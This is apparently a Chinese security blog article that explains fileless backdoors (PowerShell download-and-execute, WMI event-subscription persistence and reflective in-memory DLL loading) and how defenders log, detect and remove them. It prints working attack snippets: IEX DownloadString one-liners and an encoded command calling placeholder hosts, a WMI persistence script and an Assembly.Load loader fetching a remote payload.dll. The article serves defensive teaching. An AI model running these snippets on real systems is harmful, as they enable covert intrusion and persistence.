要说这两年做安全应急响应,最让人头疼的已经不是那个需要绕过杀软、落地磁盘的EXE木马了。真正让蓝队挠头的,是一种“文件系统里什么都找不到,但机器就是被控了”的攻击方式——也就是标题里说的无文件后门。我最早接触这个场景是在一次内网排查里,受害机器上干干净净,进程列表翻了几遍也没看到可疑的calc.exe或者svchost异常,但流量监控里就是有规律的外连心跳。后来顺着PowerShell的日志和WMI仓库翻,才把整个链路拼出来。那之后我对这类手法的态度就变了:它不是一个“听说过”的概念,而是每个做防守的人都必须从原理层面搞懂的东西。
这篇文章主要想拆解无文件后门的三根台柱子:PowerShell怎么成为攻击者的“手”,WMI怎么写进系统里变成“脚”,内存反射加载又是怎么把DLL直接塞进进程地址空间的。适合三类人看:一类是刚接触攻防、想搞明白无文件攻击到底怎么回事的安全爱好者,另一类是负责终端和服务器防护的运维、蓝队人员,还有一类是做红队评估、想验证自己检测能力是否覆盖到这类手法的朋友。我会把每个技术的原理、实现链路、以及防守方应该盯着哪些痕迹都讲清楚,尽量做到看过之后能形成自己的排查思路。
1. 为什么“没有文件”反而成了后门的主流形态
很多人第一次听到“无文件后门”会有一个直觉上的疑问:没有文件,那代码存在哪里?程序怎么运行?这个疑问很合理,但恰恰是“存在哪里”这件事发生了变化,才让这类攻击变得难缠。
传统恶意程序的三部曲是:写文件、落盘、启动。无论怎么免杀,最终总要有一个PE文件躺在磁盘上,可能是伪装成文档的宏释放器,也可能是一个自解压包。只要文件落地,杀软引擎就有机会做静态扫描,蓝队也就能靠文件哈希、特征码、云查杀这些东西建立起第一道防线。而无文件后门的核心思路,是绕开“写文件”这一步,让恶意代码在内存或系统自带的管理通道里完成执行。
那代码到底在哪?常见的有这么几种载体:
- 注册表里的脚本字段。比如把一段PowerShell命令塞进注册表Run键,但值本身不是指向某个文件路径,而是一整段编码后的命令。系统启动时直接加载这段命令执行,并没有独立文件。
- WMI仓库里的类实例和事件订阅。WMI不光是查询系统信息的接口,它还能注册事件消费者。攻击者把要执行的命令写在消费者类里,再由一个过滤器在特定条件触发时调用它。整条链路都存在WMI仓库里,文件系统自然看不到。
- 内存中直接加载的DLL。这种方式更“技术流”,攻击者先拿到一段DLL的字节流(可能是从远程拉取的,也可能是从某个合法文件里提取出来的),然后通过反射加载的方式把它映射进当前进程的地址空间,整个过程不调用LoadLibrary,不在磁盘上产生对应文件。
还有一类更轻量的做法,纯粹靠系统内置工具的命令行能力完成控制。比如用PowerShell下载一段脚本再通过IEX(Invoke-Expression)执行,或者直接用cscript/wscript跑一段内存里的脚本。这类攻击的“文件”是临时存在的,甚至只存在于管道里。
那为什么这种形态会成为主流?我自己的理解有三个层面的原因。
第一个原因是防御方的检测重心放在了文件上。杀毒软件、EDR、终端管控,绝大多数能力都围绕着文件扫描、文件行为监控、文件哈希信誉库来构建。一旦攻击者绕开了文件这个载体,传统杀软引以为傲的静态引擎基本就失效了,剩下的只能靠行为检测和日志关联。而行为检测在“系统合法组件执行”这个场景下天生就吃亏——PowerShell是白名单工具,WMI是系统服务,你怎么判断“powershell.exe执行了”到底是管理员干的还是攻击者干的?
第二个原因是无文件攻击天然具有“跨阶段免杀”的优势。传统木马要免杀,是从Loader写文件那一刻就要对抗杀软。但无文件攻击可以分成多段:先是一个很小的投放器(可能依然是文档宏),拉取第二阶段代码到内存,第二阶段再通过内存加载执行最终功能。每一段在文件系统上留下的痕迹都非常轻,而且前面阶段和后面阶段之间没有磁盘文件作为关联锚点,检测系统很难把链路串起来。
第三个原因是这类攻击对系统本身的依赖反而降低了被发现的概率。它不用自己释放驱动、不用劫持系统API,只需要“借用”系统已有的合法能力。PowerShell、WMI、.NET的反射机制,这些是Windows环境里日常就在使用的组件。攻击者藏身其中,本质上就是钻了“合法也意味着难以被标记”这个空子。
我见过不少企业安全体系里,文件扫描规则做得非常细致,但PowerShell脚本日志没开、WMI活动审计没配、Sysmon也没装。这种环境遇到无文件攻击,基本等于裸奔。所以接下来的内容,我会把这三项技术的原理和检测要点逐个拆开,方便对照着检查自己的防护盲区。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. PowerShell:无文件后门的第一入口
PowerShell在无文件攻击中的地位,怎么强调都不为过。原因很简单:它是Windows上能力最全面的脚本环境,而且默认可用。你可以用它下载文件、执行代码、调用.NET类、操作WMI、与COM对象交互,几乎覆盖了攻击者想要的所有操作原语。而它又是系统组件,杀软对它的拦截天然存在顾虑,误杀高。
2.1 执行策略不是安全边界,只是交互层的一道门
接触PowerShell的人大多知道ExecutionPolicy(执行策略)这个东西。Windows默认的Restricted策略会阻止运行.ps1脚本文件,看起来像是一道安全措施。但如果你深入用过就会发现,执行策略从来就不是为了对抗恶意代码设计的,它更像是一个防止用户误操作的“交互提示”。
绕过执行策略的方式多到可以列一张表:powershell -ep bypass、-ExecutionPolicy Unrestricted、Set-ExecutionPolicy -Scope CurrentUser、从管道里读到脚本再执行,甚至直接把命令用 -EncodedCommand 传进去也能绕开。真正起作用的不是策略本身,而是运行策略的人和进程本身具有的权限。
所以攻击者通常不会老老实实写一个.ps1文件再运行。常见的做法是:
powershell复制powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://xxx/load.ps1')"
这一条命令里包含了几个关键元素:-nop表示不加载PowerShell配置文件(避免被配置里的限制干扰),-w hidden把窗口隐藏掉,IEX把下载到的字符串直接当作代码执行。整条链路下来,磁盘上没有产生任何脚本文件,唯一的痕迹是PowerShell进程访问了某个URL,以及进程的命令行参数可能被记录到日志或事件里。
IEX(Invoke-Expression)这个cmdlet是这类攻击的枢纽。它的作用是把一个字符串当作PowerShell代码来执行。攻击者可以远程拉取、可以从注册表读、可以从环境变量里拼、甚至可以从WMI返回结果里取。只要最后进到IEX里,代码就跑起来了。
2.2 编码与混淆:为什么日志里看到的是一堆Base64
在事件排查时,经常能在PowerShell的进程创建日志里看到类似这样的命令行:
code复制powershell.exe -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADoAOAAwAC8AYQAnACkA
这一坨看起来乱码的东西,实际上是命令的UTF-16LE编码后再Base64的结果。用PowerShell执行-enc参数时,系统会先做Base64解码,拿到原始字节再按UTF-16LE还原成命令字符串,最后执行。攻击者这么做的原因很简单:避免命令行里出现明文的恶意URL或函数名,让日志审计和关键词告警更难命中。
除了Base64,PowerShell的混淆手段还有不少。比如把字符串拆开再拼接、用反引号打断cmdlet名、用变量的形式间接调用方法、利用[char]或[Convert]动态构造字符串。这些手段单独看都很笨拙,但组合起来确实能绕过一部分基于文本匹配的检测规则。
不过有一点需要注意:PowerShell的混淆是“提高检测成本”,不是“免疫检测”。如果开启了脚本块日志(ScriptBlock Logging)和模块日志(Module Logging),PowerShell引擎会把最终要执行的代码完整记录到事件日志里,混淆再怎么弄,日志里还原出来的还是清晰可读的原始命令。蓝队做检测时要抓住这条线。
2.3 从日志层面追踪PowerShell攻击链
防守方的核心抓手,其实是Windows事件日志里这几条:
- 事件ID 4103:Module Logging开启时,记录模块执行时的命令行参数和管道输入。能看到比较细致的执行细节。
- 事件ID 4104:ScriptBlock Logging开启时,记录每一个脚本块的完整内容,包括经过混淆后最终执行的代码。这是最硬核的取证依据。
- 事件ID 400/600:记录PowerShell引擎的启动时间、运行方式等信息。
Sysmon如果部署了,事件ID 1(进程创建)能记录到进程的完整命令行、父进程、哈希,这是还原攻击路径最重要的数据源。举个例子,如果发现WinWord.exe启动了powershell.exe,父进程关系本身就非常可疑,因为文档进程去拉脚本执行不是正常业务行为的特征。
我建议想增强检测能力的环境里,至少把PowerShell的脚本块日志和模块日志打开。开启方式是组策略里配置Windows PowerShell,或者直接:
powershell复制Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1
代价是日志量会显著增长,需要提前考虑日志采集和存储的容量。但跟被无文件后门打穿后溯源无门的代价相比,这个成本是值得的。
2.4 PowerShell版本差异:攻击者为什么偏爱老版本
这里有个值得展开的细节。热搜词里有个“powershell安装高版本 win7”,还有“windows powershell 5.1安装包”,说明很多环境里PowerShell版本是很旧的,甚至有大批Win7机器只有PowerShell 2.0。
从攻击者角度讲,老版本反而有老版本的优势。PowerShell 2.0没有脚本块日志、模块日志这些检测能力,AMSI(反恶意软件扫描接口)也是后来才引入的,想在日志层面追溯2.0时代的攻击几乎不可能。所以不管是攻击还是防御,版本升级本身就是一个基础但极其重要的安全动作。
防守方如果还在维护Win7或者没升PowerShell 5.1以上的环境,我建议把这件事的优先级提到最高。安全能力再强,也架不住引擎本身不给日志、不给接口。
3. WMI持久化:注册表之外更隐蔽的驻留方案
PowerShell负责把代码跑起来,但机器重启之后怎么办?这就涉及到持久化(Persistence)。传统方案是加注册表启动项、计划任务、服务,这些手法虽然好用,但也是杀软和蓝队重点盯防的对象。WMI持久化是另一条路,隐蔽性高一个量级。
3.1 WMI事件订阅机制:过滤器、消费者和绑定
WMI(Windows Management Instrumentation)本身是Windows的管理基础设施,用来统一访问系统状态和配置信息。攻击者看中的不是它的查询能力,而是它的事件机制——当某个条件发生(比如系统启动、某个进程退出、定时器触发),WMI可以自动执行一个预先定义好的操作。
这个机制由三个部分组成:
- 事件过滤器(__EventFilter):定义“什么时候触发”。比如
SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System',或者更常见的__IntervalTimerInstruction定时器。 - 事件消费者(__EventConsumer):定义“触发后干什么”。攻击者常用的是
ActiveScriptEventConsumer(执行VBScript或JScript)、CommandLineEventConsumer(执行命令行)。其中ActiveScriptEventConsumer是执行PowerShell/VBS的经典方式。 - 过滤器消费者绑定(__FilterToConsumerBinding):把上面两者关联起来。
这三个对象都存在WMI仓库里,路径类似root\subscription。攻击者可以通过wmic或PowerShell的Set-WmiInstance来创建。这里给一个最小示例的示意(实际攻防中命令会有更多混淆和绕检测的处理):
powershell复制$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
Name = 'Updater';
EventNamespace = 'root\cimv2';
QueryLanguage = 'WQL';
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments @{
Name = 'Updater';
ScriptingEngine = 'VBScript';
ScriptText = 'CreateObject("WScript.Shell").Run "powershell -nop -w hidden -c ...", 0'
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
Filter = $filter;
Consumer = $consumer
}
在检测日志里看到的是WMI活动记录,而不是进程创建记录(因为WMI提供程序宿主进程WmiPrvSE.exe去执行了消费者定义的动作)。很多蓝队如果不把WMI事件订阅的审计打开,根本不知道这里藏了东西。
3.2 为什么WMI比注册表启动项更难清理
注册表启动项的排查思路很直接:打开注册表编辑器,看Run、RunOnce、Image File Execution Options这些位置,找到可疑键值删掉就行了。WMI持久化不一样,它分散在WMI仓库里,不是用注册表编辑器能看到的,也不是删一个键就能解决的。
更麻烦的是,WMI仓库里的对象之间存在关联关系。单纯删除消费者不删除过滤器,或者删了绑定不删除消费者,都有可能留下“僵尸对象”或导致清理后再次被重建。有些攻击者还会做多层冗余:先注册一个WMI消费者,再注册一个定时器消费者,万一某一个被清掉了,另一个还会把命令下一次拉回来。所以在处理WMI驻留时,一定要把Filter、Consumer、Binding三者都找出来一并清理。
清理命令可以这样:
powershell复制Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object { $_.Name -eq 'Updater' } | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Where-Object { $_.Name -eq 'Updater' } | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Consumer -match 'Updater' } | Remove-WmiObject
检测也一样,重点就是看root\subscription命名空间里有没有非管理员创建的事件订阅。
3.3 防守方的WMI检测与加固措施
WMI活动的审计可以从几个层面来做:
- 开启WMI活动日志的审计策略,对应Windows事件ID 5861和5858。其中5861是WMI活动追踪事件,能看到WMI操作的详细信息。
- 用Sysmon的事件ID 19(WmiEventFilter)和20(WmiEventConsumer)、21(WmiEventBinding)来监控WMI订阅的创建行为。这三个事件能实时告诉你系统里什么时候新增了WMI事件过滤器或消费者,对发现驻留帮助极大。
- 定期对全网的WMI订阅做快照比对,重点排查
root\subscription里有没有可疑的消费者类。
加固层面,如果业务上完全不需要远程WMI管理,可以考虑通过组策略在防火墙规则里禁用WMI相关的135端口和动态RPC端口,或者在终端安全策略里限制WMI的远程访问权限。需要明确一点:WMI是系统管理的基础设施,完全禁用不现实,但可以通过最小化授权来减少攻击面。
4. 内存反射加载:把DLL“塞”进进程的底层原理
PowerShell负责执行代码,WMI负责持久化,那恶意代码本身呢?这里就轮到内存反射加载登场了。这个名词听起来高深,但本质上解决的问题很简单:某个DLL已经以字节流的形式存在于内存里了,怎么不写文件、不调用LoadLibrary,就让它跑起来?
4.1 传统DLL加载与非传统方式的分水岭
正常情况下要运行一个DLL,系统会调用LoadLibrary,这个API负责把磁盘上的文件读取进来、解析PE结构、映射到内存、做重定位、修正导入表、调用DllMain。这整个过程完成后,DLL的代码才可执行。
但LoadLibrary有两个硬性要求:第一个是必须传一个文件路径,意味着DLL必须存在于磁盘上;第二个是它会被监控——杀软和EDR对LoadLibrary的调用行为盯得很紧,恶意DLL路径一出现就会报警。
内存反射加载的思路,是把LoadLibrary内部做的事情自己实现一遍。代码拿到一段DLL字节流后,按照PE格式手动解析,自己分配内存、自己映射节区、自己重定位、自己修复导入表,最后调用DLL的入口点。因为全程没有走LoadLibrary,也没有文件路径落盘,所以传统基于文件扫描和API监控的检测手段都抓不到它。
4.2 从PE结构到反射加载的关键步骤
要实现反射加载,至少需要理解PE文件的几个核心部分。这里从底层角度拆开讲:
- DOS头和NT头:位于PE文件最开头,用来定位PE标识位和文件头的偏移。
- 节区表(Section Table):描述每一个节区(
.text代码、.data数据、.rdata只读数据等)在文件里的偏移、大小,以及加载到内存后应该有的虚拟地址、虚拟大小。 - 导入表(Import Table):列出这个DLL依赖了哪些外部DLL、哪些函数。加载时需要在进程里找到这些DLL的模块基址,再通过
GetProcAddress拿到函数地址,回填到导入表对应的位置。 - 重定位表(Relocation Table):如果DLL不是按首选基址加载的,代码和数据里记录的一堆绝对地址就失效了。加载器需要遍历重定位表,把每个需要修正的地址加上实际的基址与首选基址之间的差值。
反射加载的过程大致是:
- 拿到DLL的字节流(可能是从远程下载的,也可能是从其他进程内存里dump出来的)。
- 校验MZ头和PE签名,确保这是一个合法的PE文件。
- 用
VirtualAlloc分配一块内存,大小至少是所有节区虚拟大小的总和。 - 按节区表把每个节区从文件字节流拷贝到内存中对应的虚拟地址。
- 计算基址差值,遍历重定位表修正绝对地址。
- 遍历导入表,加载依赖DLL,解析导入函数地址。
- 调用DLL的入口点。
上述步骤如果用C/C++实现,代码可能几百行。但攻击者不需要从零开始写,借助.NET的反射机制和PowerShell可以大幅简化——因为.NET本身就有Assembly.Load(byte[])这样的接口,它接受字节数组而不是文件路径。这就是为什么PowerShell和内存加载经常搭配出现。
4.3 .NET的Assembly.Load(byte[]) 为什么是“作弊器”
Assembly.Load(byte[])是.NET框架提供的API,从字节数组加载程序集。它比反射加载自己实现优雅得多,因为它本质上也是一个加载器,只是是.NET运行时的加载器。对攻击者来说,只需要:
powershell复制$bytes = (New-Object Net.WebClient).DownloadData('http://xxx/payload.dll')
$assembly = [System.Reflection.Assembly]::Load($bytes)
$assembly.EntryPoint.Invoke($null, @(,[string[]]@()))
三行代码就完成了一次内存加载。第一行下载DLL字节流,第二行加载进当前PowerShell进程的.NET运行时,第三行找到入口点并调用。全程没有文件落地,也没有调用LoadLibrary,杀软看到的只是PowerShell进程发起了网络请求,以及一个看起来正常的.NET程序集加载动作。
这种情况对检测有几个难点:一是.NET程序集加载本身是合法操作,很多正规业务也在用;二是加载后的代码运行在PowerShell进程内部,你没法像监控独立进程那样把“恶意进程”隔离出来;三是代码的最终行为可能被封在委托或异步任务里,连调用栈都难定位。
4.4 内存里怎么找痕迹:Volatility与malfind实战思路
既然攻击者把代码放在内存里,那防守方当然也要从内存下手。这也是我想强调的:无文件攻击不等于无痕,只是在“文件系统”这个维度上无痕,在内存和日志维度上痕迹依然在。
用Volatility做内存取证时,malfind插件是扫描注入型恶意代码的经典工具。它的原理是检查进程的虚拟地址空间里,有哪些内存区域是可读写(RWX)或具有执行权限,同时页面内容看起来像PE文件头(MZ头)。这类特征组合在正常进程里很少出现,一旦命中就高度可疑。
操作思路大致是:
- 拿内存镜像文件(.raw或.vmem)。
- 用
imageinfo先判断系统版本和profile。 - 用
pslist或psscan列出进程,重点关注PowerShell、WmiPrvSE、svchost等进程。 - 对可疑进程运行
malfind -p <pid>,看是否有注入页或隐藏的可执行区域。 - 结合
dlldump(从进程内存里dump指定DLL)或memdump导出内存区域,转成本地文件后做进一步恶意代码分析。
这里要提醒一点:如果攻击者只在内存里放了无特征的shellcode,而没有PE头,那malfind可能抓不准。还需要配合行为维度,比如内存里出现非常规的Win32 API调用序列、CreateRemoteThread等操作特征。
4.5 针对内存加载的检测分层
内存反射加载的检测没法靠单一手段解决,需要分层:
- 初始访问层:监控脚本下载行为。PowerShell发起DownloadString/DownloadData时,在DNS、代理、进程网络连接几个层面留痕。
- 进程加载层:开启Sysmon,重点看事件ID 8(CreateRemoteThread)、10(进程访问)、25(进程改变映像)。虽然Assembly.Load不触发LoadLibrary的DLL加载事件,但最终要执行Shellcode时依然会露出马脚。
- 内存层:EDR或主机入侵检测系统的内存扫描插件定时扫RWX内存区域,或者扫描进程地址空间里的可疑PE映射。
- 行为层:执行后的网络外联、横向移动等行为,终究要跟外部系统交互,这部分的检测边界更宽。
我实际测试下来,内存扫描的误报率确实不低。有些合法软件(比如某些输入法、游戏反作弊)也会创建RWX内存或运行自定义VM。所以不能只靠内存特征一刀切,要结合进程的命令行、父进程链、网络连接、文件访问等多个维度做关联分析。
5. 从实战角度看无文件后门的排查、确认与清理
前面几章分别讲了原理,这一章我把蓝队视角下的完整排查链路串一下。很多人遇到“进程正常、文件没有、系统异常”的告警时不知道从哪里下手,我提供一个能直接上手的思路。
5.1 第一步:看进程树和网络连接,建立最初线索
接到告警后,先不要急着杀毒。第一步是抓现场:
- 用
Get-Process或任务管理器列出所有进程,按CPU和内存排序,重点关注powershell.exe、wscript.exe、cscript.exe、mshta.exe、regsvr32.exe这些“脚本宿主型”进程。 - 用
netstat -ano或Sysmon 3事件查网络连接,找到外连IP后,通过威胁情报平台确认是否恶意。 - 记录下可疑进程的PID、父进程PID、启动时间、命令行参数。启动时间如果正好对应系统重启后几分钟,或者对应某个文档被打开的时间点,关联性就出来了。
命令行参数是这一步最值钱的线索。用Get-CimInstance Win32_Process查完整命令行,重点看有没有-enc、IEX、DownloadString、DownloadData这些关键词。
5.2 第二步:翻日志,还原执行链路
建立初步线索后,日志是还原攻击路径的主战场。按这个顺序查:
- Sysmon事件1(进程创建):看可疑进程是谁拉起的。如果是Word/Excel拉起的PowerShell,链路就很清楚了。
- PowerShell脚本块日志(4104):看最终执行的代码内容,这是判断恶意的决定性证据。
- WMI活动日志(5861)和Sysmon 19/20/21:检查持久化。
- 安全日志4688(进程创建,如果开启了命令行审计)可以做补充。
需要特别说明的是,如果环境里PowerShell脚本块日志根本没开,那这段链路会在“脚本内容”这个环节断掉。这时候只能靠行为链推断了。
5.3 第三步:排查WMI库和启动项,处理持久化
对确认受害的机器,持久化排查是必须做的,否则清理完进程,一重启又复活。
重点检查这几个位置:
- 注册表
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run和RunOnce,以及HKEY_LOCAL_MACHINE下对应的键。 - 计划任务:
schtasks /query /fo LIST /v,看有没有最近新增、名字伪装成系统更新或浏览器的任务。 - WMI订阅:按上面讲的方式查
root\subscription里的Filter、Consumer、Binding。 - 服务(services.msc):查有没有指向路径异常、二进制路径带PowerShell命令的服务。
在清理WMI时,注意先导出相关信息留档,再用PowerShell逐一删除,不要手滑把系统的WMI消费者(比如某些安全软件或运维软件的组件)删了。
5.4 第四步:内存取证与样本提取
如果受害机器可以停机做取证,尽量在关机前用工具导出内存镜像。这一步的价值在于:即使攻击者没有在磁盘释放样本,只要能dump出进程内存,也能把DLL或Shellcode提取出来做分析。
根据实际情况可以先做内存镜像,再用Volatility做malfind扫描;也可以直接用Process Hacker等工具在运行中的进程里查看内存区域和模块列表,快速判断有无可疑注入。
提取出的样本可以上传沙箱分析,也可以本地用pe-sieve这类工具把进程里的可疑PE模块dump出来。拿到样本之后,把哈希、C2域名、互斥体名做成IOC(入侵指标),放到威胁情报平台和SIEM里做全网排查。
5.5 从一次真实模拟复盘看链路闭合
我用自己搭的实验环境模拟过一次典型的无文件攻击流程,在这里复盘一下,帮助你把前面几部分串起来。
第一步,攻击机起一个HTTP服务放PowerShell脚本,脚本内容是用反射加载一个内存DLL,DLL的行为是回连攻击机的C2端口并发送系统信息。
第二步,用一条简短的PowerShell命令在受害机执行:powershell -nop -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.x.x/a')"。进程起来之后,杀软没有报警,磁盘上没有任何新增文件。
第三步,排查时,Sysmon没有部署,PowerShell日志没有开,但通过netstat看到了powershell.exe到攻击机IP的4444端口TCP连接。再用Get-CimInstance Win32_Process看到命令行里的DownloadString关键字,顺着这个线索找到了远程脚本URL。
第四步,把URL拉下来分析脚本,发现内存加载逻辑,再用Process Hacker看powershell进程的内存,确实有一块RWX区域和MZ头特征。提取出来反编译DLL后,确认了C2地址和功能。
这个模拟告诉我们一件事:无文件攻击想做到“完全无痕”很难,但要想做到“从日志上无法还原”,只要防守方日志没开启就能实现。所以你的检测能力到底行不行,不取决于你了解多少攻击技术,而取决于你的日志覆盖了多少攻击阶段。
6. 给防守方的一些实在建议
最后这部分不打算写成空洞的总结,就说几个我在实际部署和应急中总结出来的经验。
第一,日志先行。无文件攻击的检测基石是日志,不是杀软。PowerShell脚本块日志、Sysmon、WMI审计、进程命令行审计,这几个是基本盘。没有它们的覆盖,后面谈任何检测和溯源都是空中楼阁。建议先在自己负责的环境里确认这几个能力是否开启,没有的尽快补上。
第二,正视“合法工具滥用”的检测盲区。PowerShell、WMI、mshta、regsvr32、rundll32、certutil,这些系统工具都有正经用途,直接一刀切禁用会严重影响业务。更现实的做法是缩小“正常使用范围”,比如用AppLocker或WDAC(Windows Defender Application Control)限制PowerShell只能在特定用户、特定目录下运行,对WMI远程调用做来源IP白名单,对脚本宿主进程的启动父进程做约束。
第三,构建多阶段告警而不是单点告警。单个事件(比如一个PowerShell进程出现)很难判断恶意,但如果看到“文档进程启动了PowerShell + PowerShell下载了远程脚本 + 该进程建立了异常外连”,这条行为链的可信度就非常高了。EDR真正强大的地方不是某一个引擎,而是把多个低可信度事件关联成高可信度告警的能力。
第四,平时多做红蓝对抗验证。无文件攻击的思路更新很快,但底层机制基本稳定:总要执行、总要持久化、总要外联。每隔一段时间用无文件手法做一次模拟攻击,验证自己的检测、告警、响应流程是否闭环,比临时抱佛脚地安装一个“安全大杀器”管用得多。
我个人踩过的坑是,最开始只看防病毒告警,对这种“文件扫描全绿”的告警总是警觉性不够,后来在应急响应里连续遇到几个无文件驻留的案例才彻底扭转思路。现在再看任何安全告警,习惯性先问一句:文件层之外,日志层看到什么了?如果你是做防守的,建议也把这个问题变成自己的默认排查姿势。
